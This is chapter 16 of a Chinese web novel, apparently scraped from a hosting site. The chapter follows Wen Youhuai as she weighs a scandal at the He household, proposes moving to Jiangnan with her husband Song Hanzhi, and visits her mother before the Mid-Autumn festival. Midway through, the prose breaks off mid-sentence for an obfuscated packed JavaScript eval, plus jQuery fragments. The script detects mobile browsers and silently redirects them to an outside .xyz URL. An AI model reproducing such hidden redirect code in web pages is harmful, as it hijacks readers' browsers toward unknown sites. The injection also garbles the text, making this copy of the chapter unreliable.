默认冷灰
24号文字
方正启体

16. 第 16 章

作者:飞鸟何停本书字数:K更新时间:
    温幼槐回到府中,让红鸢关了门窗,屏退了下人,又上上下下检查了一遍,才堪堪放下心来。


    如此一直到夜间,又派人去打听今日宴席上的事,却没听说有什么传闻,如此彻底不再担心。


    “等爷回来了我再同他商量这事,眼下先不要声张。”温幼槐坐在妆镜前叮嘱红鸢。


    红鸢点点头:“我省得。”她知道这事的严重性,但凡传出什么流言,那少夫人的名声可就毁了。


    温幼槐心里止不住地思索这事该怎么解决,但是想到最后还是觉得当做什么都没有发生过才是最好的。


    房内红烛轻晃,温幼槐第一次发觉自己原来这么需要宋翰之,她想他了。


    她在此刻需要一个可以依靠的臂膀,但他却不在身边。


    从一开始的气恼、愤怒、平息,到现在心底只有失望。


    温幼槐看着镜中的自己,突然想起二人成亲的那一日,宋翰之掀起她盖头的时候,眸底盛满了惊喜。


    她和宋翰之在婚前时没见过面的,她的婚事全交由父母定夺,当时出嫁前她万分忐忑,却不曾想嫁给了这样一个良玉般的人物。


    成亲两年,宋翰之一向待她体贴,她虽没有可以依靠的娘家,但因他的态度也渐渐交给他全部信任。他却成了她唯一能依靠的人。


    她习惯了谨慎、习惯了小心翼翼,可一想到身边还有他,便觉得这世间是值得的。


    可是他已经很久没有抽出时间来陪她了,甚至于一日日连面都见不上。


    她心里清楚,他的仕途蒸蒸日上,他并非有意这么对她。她不该计较这些。


    温幼槐轻叹一声,可是至少今天,他应该会早些回来吧?


    瑞脑烟残,沈香火冷。


    温幼槐淡淡换了衣裳,没再说什么,躺进床帐中去了。


    夜里,宋翰之睡在了书房。


    次日,何大爷被撤了官职的传闻在京城散播开来,温幼槐听说的时候正在房中抄书,红鸢去外面嘱咐丫鬟几句,又走回到她身边。


    “你这是从哪里听的?”温幼槐低声问她。


    红鸢说:“原先我家中的舅舅就在六部的地界儿摆摊卖些小物件,消息自是比别人灵通些,我今儿刚一回去就听到他在说这事——”


    “说是何大爷一大早拿了东西离开吏部,连官服都脱了,部衙里头许多大人都瞧着了!”


    温幼槐心下思量,喃喃道:“这也得有个缘由吧,总不能无缘无故地就撤了官......”


    “旁的我就不知道了,爷就在吏部当值,说不准知晓其中缘由。”


    红鸢话音刚落,外面便有丫鬟通传宋翰之回来了,温幼槐忙放下笔前去寻他。


    宋翰之掀开帘子大步走进内间,脸色十分凝重,“何大爷被傅大人调往青州任知州了。”


    青州知州?那不就是被下放了么?温幼槐意识到事态的严重,示意红鸢退下,门从外面被关了起来,才道:“这是怎么回事?”


    宋翰之抿着唇,摇了摇头,而后又说:“部衙里给的说法是他考功失职,我却听到一点风声,里头好似不是这么回事......”


    温幼槐倒一盏茉莉清茶递给他,宋翰之喝了一口后,微顿:“听闻是何府三少夫人卖官鬻爵,背着何钦承收受贿赂,何大爷为了这事主动请求外调,何府大房一房都搬离京城了。”


    温幼槐当即心中一紧,立刻问:“若是因为这事,那二姐夫的事岂不是要被牵连?”


    “我回来就是同你说这事。”宋翰之放下茶盏,面色严肃。


    “何大爷被调职的具体原因并没公示出来,即便他们的猜测是真的,上头也不会查下来。”


    “看何大爷这悄悄离京的架势,想来这事要被轻轻揭过,二姐夫也不过是一个府学里的职位,应是受不到影响的。”


    “如此便好。”温幼槐心中松一口气。


    宋翰之又叮嘱道:“但也不能掉以轻心,你今日还是去一趟府上,好好嘱咐二姐一番才是。”


    温幼槐点点头,这事若是张扬出去或许还会牵连宋府,她不敢大意。


    “我过会儿便去——”温幼槐望了一眼窗外,叹一口气,“却没想到何府说倒就倒了。”


    宋翰之面无表情,他心里没有半分怜惜,甚至隐隐有些激动,何大爷被下放,如今官职空悬,对他来说未免不是个机会。


    “日后这话可别再说了,我们与何府并没什么关系,不过正常来往。”宋翰之眸底泛起冷意,漠然和欲.望交织涌动。


    温幼槐看他这般,一瞬间觉得有些陌生,下一刻又见他恢复如常。


    “昨儿你怎么走得那么早?”宋翰之想到昨日,问她。


    温幼槐心道总归何府大房都搬走了,远隔千里,三少夫人那边再对她有什么想法却也不能怎么样了,昨日的事应是迎刃而解了,便没再告诉宋翰之,笑道:“你也知道我坐不住的。”


    宋翰之放下茶盏,牵过她的手轻抚,“昨儿是我醉过头了,这么着,等过了中秋,我定抽出一天来陪你,可好?”


    不知为何,看到他这副温柔的神情,昨日那股失落感又爬上心头,温幼槐微低下头,没有说话。


    宋翰之察觉到她的异常,将她拉到自己怀里,低声轻哄:“阿槐......”


    “你知道的,何大人走了,验封司的一应事务都要重新安排,我很难抽开身。”宋翰之的气息在她耳边萦绕,她看着手中的伤口,一时不知该说什么。


    宋翰之以为她是默认了,轻轻亲了亲她的耳垂,呢喃道:“我的阿槐,你最好了.......”


    温幼槐伸出双手回抱住他,不知怎么涌起一股冲动,突然道:“宋翰之,我们去江南吧。”


    宋翰之一僵,将她从怀里拉出,看着她的脸,有些难以置信:“你认真的?”


    “嗯,”温幼槐点点头,“我也攒了很久的银钱了,等这次抄书的钱到手,就够我们在江南置一间小宅子了。”


    “到时我抄书赚钱,你做官也好经商也罢,我们肯定都能过得很好。”


    宋翰之听她这话便知她计划已久,却从没对他说过,当下皱了皱眉,问:“你怎么好好地有了这个想法?”他还觉得如今日子比从前好过不少呢,毕竟他才升了官。


    “你不愿意么?”温幼槐双眸黯淡了一瞬,转而又恢复如常,一笑,“我也只是随便说说罢了。”


    她知道这事是不可能的,只是方才突然想说,就说出口了。


    且不说他如今才坐上主事的位子,宋府一家人都在京城,他怎么可能丢下父母和她去江南定居。


    可何府的事一出,再加上前几日二姐又来找她借钱的事,她心里是有些乱的。她知道自己只要还在京城,那温


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464149|169786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    府里所谓的娘家人就不可能放弃利用她。


    她第一次想逃离了。


    “好。”宋翰之突然冒出一句,“只要阿槐想,那就照阿槐说的做。”


    温幼槐以为自己听错了,可他的眼神并没骗人。


    宋翰之认真地看着她,双眸带着坚定。


    他是支持她的,他甚至没有再追问她为什么。


    温幼槐顿时鼻尖一酸,扑上前紧紧抱住他。


    “我的傻阿槐......”


    宋翰之轻轻摩挲着她的腰身,温幼槐一颗心胀胀的,很久没有被这样填满过了。


    *


    中秋前夕。


    距离那日二人的对话已经过去好几天,何府的传闻在京中也渐渐平息下来。温幼槐有了目标,一时也充满动力。


    她知道离开京城这件事不是那么简单的,但是有了宋翰之的允诺,她心中到底愉快许多。事虽难做,但按部就班地去完成,总有一日能离开京城。


    手上的棉布终于拆掉了,却留下了一道浅红的疤痕,温幼槐并不在意,只是每日涂药,而后照常抄书。眼下对她来说最重要的是赚银子。


    日子一晃就到了中秋前夕,温幼槐备好礼去了温府。


    自是又拿了不少上好的药材、补品,温幼槐是五个姐妹中嫁得最好的,照顾母亲的重担自然就落在了她身上。


    母亲却也疼惜她,见她来了,特叫人一大早去买了羊肉,早早地炖给她喝。她自小就爱喝羊汤。


    几人聚在前厅,二姐拉着文哥儿站在旁侧,三姐四姐也来了,围着案几嗑瓜子,母亲穿着绛紫色团花纹刺绣褙子,半倚在塌上。


    母亲的身子瞧着比从前好多了,面上有了光泽,拉着她的手道:“你姐妹几个都嫌羊肉膻味重,偏你最喜欢。往日里厨房若是做了羊肉,准瞒不过你的鼻子!”


    母亲拿她年少的事打趣,她不由红了脸,低声撒娇:“才不是呢......”


    屋内众人说说笑笑,氛围却是好极了。温幼槐只有这时才感觉到自己是这个家的一份子,拉着母亲的手久久没有松开。


    中秋节正是团圆的时候,但除了二姐外,姐妹们只有前一日能来陪陪母亲,二姐夫是入赘到温府的,已经成了半个温家人。不过有二姐一家的陪伴,父母却也不算孤独,也能让其余姐妹心安。


    众人聊了片刻,又坐在一起用了餐食。颇有些原先一起守岁的温馨。


    三姐温容书嫁给了京中的丝绸庄户,要忙家里的生意,于是先离开了。走时特地塞给她一包瓜子,说是特意留给她的。


    温幼槐笑了,三姐这是还把她当小孩子呢。瓜子被三姐的兜子捂得很热乎,让她不禁想起幼时的事。


    她一向是五个姐妹里最乖巧懂事的,姐姐们偷溜出去玩从来不带她,因为她不敢。也觉得为了看个皮影戏冒这个大的险不值当。


    每每这个时候,三姐定会提前回来带给她一兜瓜子,有时还是剥好的瓜子仁,栗子的、五香的,都有。


    四姐烦她总是提前跑回来,嘴上骂三姐,晚上却悄悄在被窝里给她们讲白日里看的戏。


    她这几个姐姐中,除开二姐,似乎原先对她都不算差。


    她如今愿意出钱接济母亲,有一半的原因是想替她们分担,另一半却是怕亏欠母亲。母亲为了她这门亲事几乎拿出了府上的所有积蓄。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)